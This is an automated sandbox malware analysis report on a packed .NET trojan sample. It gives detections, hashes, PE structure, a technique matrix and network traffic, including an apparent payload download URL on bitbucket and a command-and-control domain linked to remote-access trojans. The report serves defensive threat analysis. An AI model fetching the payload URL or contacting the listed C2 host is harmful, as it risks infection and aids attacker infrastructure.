Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	141 Virtualization/Sandbox Evasion	LSASS Memory	121 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	141 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	22 Software Packing	LSA Secrets	123 System Information Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Timestomp	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
fIPSLgT0lO.exe	63%	ReversingLabs	ByteCode-MSIL.Trojan.Heracles
fIPSLgT0lO.exe	100%	Avira	HEUR/AGEN.1323341
fIPSLgT0lO.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Antivirus Detection	Reputation
formationslistcomplet2.sexidude.com	181.131.217.244	true	false		high
bitbucket.org	185.166.143.49	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://bitbucket.org/facturacioncol/fact/downloads/null.exe	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://bbc-frontbucket-canary.prod-east.frontend.public.atl-paas.net	fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/mgravell/protobuf-neti	fIPSLgT0lO.exe, 00000000.00000002.2930276212.0000000005860000.00000004.08000000.00040000.00000000.sdmp	false	high
https://stackoverflow.com/q/14436606/23354	fIPSLgT0lO.exe, 00000000.00000002.2928319421.0000000003391000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2930276212.0000000005860000.00000004.08000000.00040000.00000000.sdmp	false	high
https://github.com/mgravell/protobuf-netJ	fIPSLgT0lO.exe, 00000000.00000002.2930276212.0000000005860000.00000004.08000000.00040000.00000000.sdmp	false	high
https://remote-app-switcher.prod-east.frontend.public.atl-paas.net	fIPSLgT0lO.exe, 00000000.00000002.2928319421.000000000344B000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.0000000003447000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036AC000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.000000000368C000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bbc-frontbucket-static.prod-east.frontend.public.atl-paas.net	fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://stackoverflow.com/q/11564914/23354;	fIPSLgT0lO.exe, 00000000.00000002.2930276212.0000000005860000.00000004.08000000.00040000.00000000.sdmp	false	high
https://stackoverflow.com/q/2152978/23354	fIPSLgT0lO.exe, 00000000.00000002.2930276212.0000000005860000.00000004.08000000.00040000.00000000.sdmp	false	high
http://bitbucket.org	fIPSLgT0lO.exe, 00000000.00000002.2928319421.000000000368C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://web-security-reports.services.atlassian.com/csp-report/bb-website	fIPSLgT0lO.exe, 00000000.00000002.2928319421.000000000344B000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.0000000003447000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036AC000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.000000000368C000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cdn.cookielaw.org/	fIPSLgT0lO.exe, 00000000.00000002.2928319421.000000000344B000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.0000000003447000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036AC000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.000000000368C000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/;	fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/mgravell/protobuf-net	fIPSLgT0lO.exe, 00000000.00000002.2930276212.0000000005860000.00000004.08000000.00040000.00000000.sdmp	false	high
https://aui-cdn.atlassian.com/	fIPSLgT0lO.exe, 00000000.00000002.2928319421.000000000344B000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.0000000003447000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036AC000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.000000000368C000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/	fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://remote-app-switcher.stg-east.frontend.public.atl-paas.net	fIPSLgT0lO.exe, 00000000.00000002.2928319421.000000000344B000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.0000000003447000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036AC000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.000000000368C000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bbuseruploads.s3.amazonaws.com/986cb0ac-5fcf-4393-afaa-e2b223260ae9/downloads/47e1d263-9601-	fIPSLgT0lO.exe, 00000000.00000002.2928319421.000000000344B000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036AC000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	fIPSLgT0lO.exe, 00000000.00000002.2928319421.0000000003391000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036B9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/	fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bitbucket.org	fIPSLgT0lO.exe, 00000000.00000002.2928319421.000000000367A000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.0000000003391000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bbc-frontbucket-static.stg-east.frontend.public.atl-paas.net	fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://dz8aopenkvv6s.cloudfront.net	fIPSLgT0lO.exe, 00000000.00000002.2928319421.000000000344B000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.0000000003447000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036AC000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.000000000368C000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2928319421.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
181.131.217.244	formationslistcomplet2.sexidude.com	Colombia		13489	EPMTelecomunicacionesSAESPCO	false
185.166.143.49	bitbucket.org	Germany		16509	AMAZON-02US	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1573902
Start date and time:	2024-12-12 17:48:59 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	fIPSLgT0lO.exe renamed because original name is a hash value
Original Sample Name:	3c4c48003d8ddf5dc37e44fb340e81951ccb473dbb548e9752b83c69291a54f1.exe
Detection:	MAL
Classification:	mal84.evad.winEXE@1/0@11/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 91% Number of executed functions: 105 Number of non-executed functions: 20
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: fIPSLgT0lO.exe

Simulations

Behavior and APIs

Time	Type	Description
11:49:55	API Interceptor	1769147x Sleep call for process: fIPSLgT0lO.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
181.131.217.244	3XSXmrEOw7.exe	Get hash	malicious	Remcos	Browse
	ozfqy8Ms6t.exe	Get hash	malicious	Remcos	Browse
	pPLwX9wSrD.exe	Get hash	malicious	Remcos	Browse
	sXpIsdpkzy.exe	Get hash	malicious	Remcos	Browse
	hCJ8gK9kNn.exe	Get hash	malicious	Remcos	Browse
	x4fDy1muYs.exe	Get hash	malicious	Unknown	Browse
	VwiELrqQjD.exe	Get hash	malicious	Remcos	Browse
	ozfqy8Ms6t.exe	Get hash	malicious	Unknown	Browse
	3XSXmrEOw7.exe	Get hash	malicious	Unknown	Browse
	pPLwX9wSrD.exe	Get hash	malicious	Unknown	Browse
185.166.143.49	http://jasonj002.bitbucket.io/	Get hash	malicious	HTMLPhisher	Browse	jasonj002.bitbucket.io/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bitbucket.org	3XSXmrEOw7.exe	Get hash	malicious	Remcos	Browse	185.166.143.48
	ozfqy8Ms6t.exe	Get hash	malicious	Remcos	Browse	185.166.143.48
	pPLwX9wSrD.exe	Get hash	malicious	Remcos	Browse	185.166.143.50
	hCJ8gK9kNn.exe	Get hash	malicious	Remcos	Browse	185.166.143.49
	x4fDy1muYs.exe	Get hash	malicious	Unknown	Browse	185.166.143.48
	ozfqy8Ms6t.exe	Get hash	malicious	Unknown	Browse	185.166.143.50
	3XSXmrEOw7.exe	Get hash	malicious	Unknown	Browse	185.166.143.50
	pPLwX9wSrD.exe	Get hash	malicious	Unknown	Browse	185.166.143.50
	hCJ8gK9kNn.exe	Get hash	malicious	Unknown	Browse	185.166.143.49
	https://feji.us/m266he	Get hash	malicious	Unknown	Browse	185.166.143.50
formationslistcomplet2.sexidude.com	x4fDy1muYs.exe	Get hash	malicious	Unknown	Browse	181.131.217.244
	VwiELrqQjD.exe	Get hash	malicious	Remcos	Browse	181.131.217.244
	s0tuvMen1D.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	181.131.217.244
	SYSnyI8qDu.exe	Get hash	malicious	Remcos	Browse	181.131.217.244
	QU4rXM7CiL.exe	Get hash	malicious	Remcos	Browse	181.131.217.244
	4wECQoBvYC.exe	Get hash	malicious	Remcos	Browse	181.131.217.244
	nlfb.exe	Get hash	malicious	Unknown	Browse	181.131.217.244
	nlfb.exe	Get hash	malicious	Unknown	Browse	181.131.217.244
	qtIh.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	181.131.217.244
	KWAo.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	181.131.217.244

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
EPMTelecomunicacionesSAESPCO	3XSXmrEOw7.exe	Get hash	malicious	Remcos	Browse	181.131.217.244
	ozfqy8Ms6t.exe	Get hash	malicious	Remcos	Browse	181.131.217.244
	pPLwX9wSrD.exe	Get hash	malicious	Remcos	Browse	181.131.217.244
	sXpIsdpkzy.exe	Get hash	malicious	Remcos	Browse	181.131.217.244
	hCJ8gK9kNn.exe	Get hash	malicious	Remcos	Browse	181.131.217.244
	x4fDy1muYs.exe	Get hash	malicious	Unknown	Browse	181.131.217.244
	VwiELrqQjD.exe	Get hash	malicious	Remcos	Browse	181.131.217.244
	ozfqy8Ms6t.exe	Get hash	malicious	Unknown	Browse	181.131.217.244
	3XSXmrEOw7.exe	Get hash	malicious	Unknown	Browse	181.131.217.244
	pPLwX9wSrD.exe	Get hash	malicious	Unknown	Browse	181.131.217.244
AMAZON-02US	3XSXmrEOw7.exe	Get hash	malicious	Remcos	Browse	185.166.143.48
	ozfqy8Ms6t.exe	Get hash	malicious	Remcos	Browse	185.166.143.48
	pPLwX9wSrD.exe	Get hash	malicious	Remcos	Browse	54.231.193.17
	hCJ8gK9kNn.exe	Get hash	malicious	Remcos	Browse	185.166.143.49
	x4fDy1muYs.exe	Get hash	malicious	Unknown	Browse	185.166.143.48
	ozfqy8Ms6t.exe	Get hash	malicious	Unknown	Browse	185.166.143.50
	3XSXmrEOw7.exe	Get hash	malicious	Unknown	Browse	185.166.143.50
	pPLwX9wSrD.exe	Get hash	malicious	Unknown	Browse	185.166.143.50
	hCJ8gK9kNn.exe	Get hash	malicious	Unknown	Browse	185.166.143.49
	file.exe	Get hash	malicious	Vidar	Browse	18.238.49.124

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	3XSXmrEOw7.exe	Get hash	malicious	Remcos	Browse	185.166.143.49
	ozfqy8Ms6t.exe	Get hash	malicious	Remcos	Browse	185.166.143.49
	pPLwX9wSrD.exe	Get hash	malicious	Remcos	Browse	185.166.143.49
	hCJ8gK9kNn.exe	Get hash	malicious	Remcos	Browse	185.166.143.49
	x4fDy1muYs.exe	Get hash	malicious	Unknown	Browse	185.166.143.49
	ozfqy8Ms6t.exe	Get hash	malicious	Unknown	Browse	185.166.143.49
	3XSXmrEOw7.exe	Get hash	malicious	Unknown	Browse	185.166.143.49
	pPLwX9wSrD.exe	Get hash	malicious	Unknown	Browse	185.166.143.49
	hCJ8gK9kNn.exe	Get hash	malicious	Unknown	Browse	185.166.143.49
	NOTIFICACIONES+FISCALES+Y+DEMANDAS+PENDIENTES.pdf.pdf	Get hash	malicious	Unknown	Browse	185.166.143.49

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.934254491114372
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	fIPSLgT0lO.exe
File size:	606'720 bytes
MD5:	016d22f02af7424e8d99c6c243adcdb7
SHA1:	1a4148700ab479b4c455a1eb9d5f48ac56799054
SHA256:	3c4c48003d8ddf5dc37e44fb340e81951ccb473dbb548e9752b83c69291a54f1
SHA512:	4475237cafdc0f1b678fba94c63b755b8451062da7fd69b4bd4276dc0926bf7b45e63ab4a85dbb3f2e781f8aef00a1938d9dc86b05f5935e957ce3c6d3ad08f6
SSDEEP:	12288:Xzt4ktnPfSk1fXq1nThCpEOFYTJu+qHUM0LvnOuvtICV:CGf184pEO+TJaUMOnhIC
TLSH:	EED41292768B17A0C645403868FB9D1923F563822A33EBE3799D429E9DD3781CF50FC9
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....V................0..8...........W... ...`....@.. ....................................@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4957ce
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xA90F56EF [Tue Nov 18 04:19:59 2059 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x95780	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x96000	0x570	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x98000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x937d4	0x93800	23132605f91acbc32dc54b65f802303e	False	0.9512529793432203	data	7.941976982068131	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x96000	0x570	0x600	177803e1d307ad9f6e72bb66ec34b7c2	False	0.4055989583333333	data	3.9668451251431556	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x98000	0xc	0x200	d196c65357c937e5cd009d7fb9d8cd13	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x960a0	0x2e4	data			0.4297297297297297
RT_MANIFEST	0x96384	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 12, 2024 17:49:55.795459986 CET	49730	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:49:55.915394068 CET	30203	49730	181.131.217.244	192.168.2.4
Dec 12, 2024 17:49:55.915611029 CET	49730	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:49:55.924227953 CET	49730	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:49:56.044753075 CET	30203	49730	181.131.217.244	192.168.2.4
Dec 12, 2024 17:49:56.044819117 CET	49730	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:49:56.171276093 CET	30203	49730	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:06.299830914 CET	30203	49730	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:06.354743004 CET	49730	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:06.533725977 CET	30203	49730	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:06.537235975 CET	49730	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:06.665148020 CET	30203	49730	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:06.665298939 CET	49730	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:06.881850004 CET	49731	443	192.168.2.4	185.166.143.49
Dec 12, 2024 17:50:06.881896973 CET	443	49731	185.166.143.49	192.168.2.4
Dec 12, 2024 17:50:06.881983995 CET	49731	443	192.168.2.4	185.166.143.49
Dec 12, 2024 17:50:06.945902109 CET	49731	443	192.168.2.4	185.166.143.49
Dec 12, 2024 17:50:06.945931911 CET	443	49731	185.166.143.49	192.168.2.4
Dec 12, 2024 17:50:08.710685015 CET	443	49731	185.166.143.49	192.168.2.4
Dec 12, 2024 17:50:08.710863113 CET	49731	443	192.168.2.4	185.166.143.49
Dec 12, 2024 17:50:08.715107918 CET	49731	443	192.168.2.4	185.166.143.49
Dec 12, 2024 17:50:08.715128899 CET	443	49731	185.166.143.49	192.168.2.4
Dec 12, 2024 17:50:08.715658903 CET	443	49731	185.166.143.49	192.168.2.4
Dec 12, 2024 17:50:08.760987997 CET	49731	443	192.168.2.4	185.166.143.49
Dec 12, 2024 17:50:08.769364119 CET	49731	443	192.168.2.4	185.166.143.49
Dec 12, 2024 17:50:08.811340094 CET	443	49731	185.166.143.49	192.168.2.4
Dec 12, 2024 17:50:09.396163940 CET	443	49731	185.166.143.49	192.168.2.4
Dec 12, 2024 17:50:09.396220922 CET	443	49731	185.166.143.49	192.168.2.4
Dec 12, 2024 17:50:09.396238089 CET	49731	443	192.168.2.4	185.166.143.49
Dec 12, 2024 17:50:09.396250010 CET	443	49731	185.166.143.49	192.168.2.4
Dec 12, 2024 17:50:09.396270990 CET	49731	443	192.168.2.4	185.166.143.49
Dec 12, 2024 17:50:09.396373987 CET	443	49731	185.166.143.49	192.168.2.4
Dec 12, 2024 17:50:09.396416903 CET	49731	443	192.168.2.4	185.166.143.49
Dec 12, 2024 17:50:09.404021025 CET	49731	443	192.168.2.4	185.166.143.49
Dec 12, 2024 17:50:09.527475119 CET	49732	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:09.647420883 CET	30203	49732	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:09.647517920 CET	49732	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:09.648344994 CET	49732	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:09.768630981 CET	30203	49732	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:09.768738985 CET	49732	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:09.888577938 CET	30203	49732	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:11.022254944 CET	30203	49732	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:11.022325993 CET	49732	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:11.022500038 CET	49732	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:11.136825085 CET	49734	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:11.142304897 CET	30203	49732	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:11.257060051 CET	30203	49734	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:11.257179976 CET	49734	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:11.257967949 CET	49734	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:11.377861023 CET	30203	49734	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:11.377935886 CET	49734	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:11.503501892 CET	30203	49734	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:12.618432999 CET	30203	49734	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:12.618623018 CET	49734	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:12.618824005 CET	49734	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:12.730964899 CET	49736	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:12.739614964 CET	30203	49734	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:12.850972891 CET	30203	49736	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:12.851063013 CET	49736	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:12.851831913 CET	49736	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:12.971878052 CET	30203	49736	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:12.971950054 CET	49736	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:13.092207909 CET	30203	49736	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:17.294926882 CET	30203	49736	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:17.297765970 CET	49736	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:17.297964096 CET	49736	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:17.402992010 CET	49740	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:17.418282986 CET	30203	49736	181.131.217.244	192.168.2.4
